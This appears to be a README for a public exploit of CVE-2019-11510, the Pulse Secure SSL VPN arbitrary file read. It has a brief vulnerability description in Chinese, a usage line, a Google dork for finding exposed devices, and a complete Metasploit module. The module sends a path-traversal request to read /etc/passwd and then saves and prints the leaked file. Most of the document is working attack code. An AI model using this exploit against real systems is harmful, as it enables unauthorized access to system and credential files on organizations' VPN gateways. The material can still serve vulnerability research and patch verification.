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CVE-2019-11510-1

Exploit for Arbitrary File Read on Pulse Secure SSL VPN (CVE-2019-11510)

漏洞简介

Pulse Secure Pulse Connect Secure（又名PCS，前称Juniper Junos Pulse）是美国Pulse Secure公司的一套SSL VPN解决方案。 Pulse Secure PCS 9.0RX版本、8.3RX版本和8.2RX版本中存在授权问题漏洞。该漏洞源于网络系统或产品中缺少身份验证措施或身份验证强度不足。

python usage:

python CVE-2019-11510.py https://x.x.x.x

漏洞EXP(MSF的ruby语言的EXP)

# Exploit Title: File disclosure in Pulse Secure SSL VPN (metasploit)
# Google Dork: inurl:/dana-na/ filetype:cgi
# Date: 8/20/2019
# Exploit Author: 0xDezzy (Justin Wagner), Alyssa Herrera
# Vendor Homepage: https://pulsesecure.net
# Version: 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4
# Tested on: Linux
# CVE : CVE-2019-11510 
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
	include Msf::Exploit::Remote::HttpClient
	include Msf::Post::File
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Pulse Secure - System file leak',
			'Description'    => %q{
				Pulse Secure SSL VPN file disclosure via specially crafted HTTP resource requests.
        This exploit reads /etc/passwd as a proof of concept
        This vulnerability affect ( 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4
			},
			'References'     =>
			    [
			        [ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510' ]
			    ],
			'Author'         => [ '0xDezzy (Justin Wagner), Alyssa Herrera' ],
			'License'        => MSF_LICENSE,
			 'DefaultOptions' =>
		      {
		        'RPORT' => 443,
		        'SSL' => true
		      },
			))

	end


	def run()
		print_good("Checking target...")
		res = send_request_raw({'uri'=>'/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/'},1342)

		if res && res.code == 200
			print_good("Target is Vulnerable!")
			data = res.body
			current_host = datastore['RHOST']
			filename = "msf_sslwebsession_"+current_host+".bin"
			File.delete(filename) if File.exist?(filename)
			file_local_write(filename, data)
			print_good("Parsing file.......")
			parse()
		else
			if(res && res.code == 404)
				print_error("Target not Vulnerable")
			else
				print_error("Ooof, try again...")
			end
		end
	end
	def parse()
		current_host = datastore['RHOST']

	    fileObj = File.new("msf_sslwebsession_"+current_host+".bin", "r")
	    words = 0
	    while (line = fileObj.gets)
	    	printable_data = line.gsub(/[^[:print:]]/, '.')
	    	array_data = printable_data.scan(/.{1,60}/m)
	    	for ar in array_data
	    		if ar != "............................................................"
	    			print_good(ar)
	    		end
	    	end
	    	#print_good(printable_data)

		end
		fileObj.close
	end
end

参考链接：

https://github.com/jas502n/CVE-2019-11510-1

https://hackerone.com/reports/591295

https://github.com/projectzeroindia/CVE-2019-11510

https://www.anquanke.com/vul/id/1589103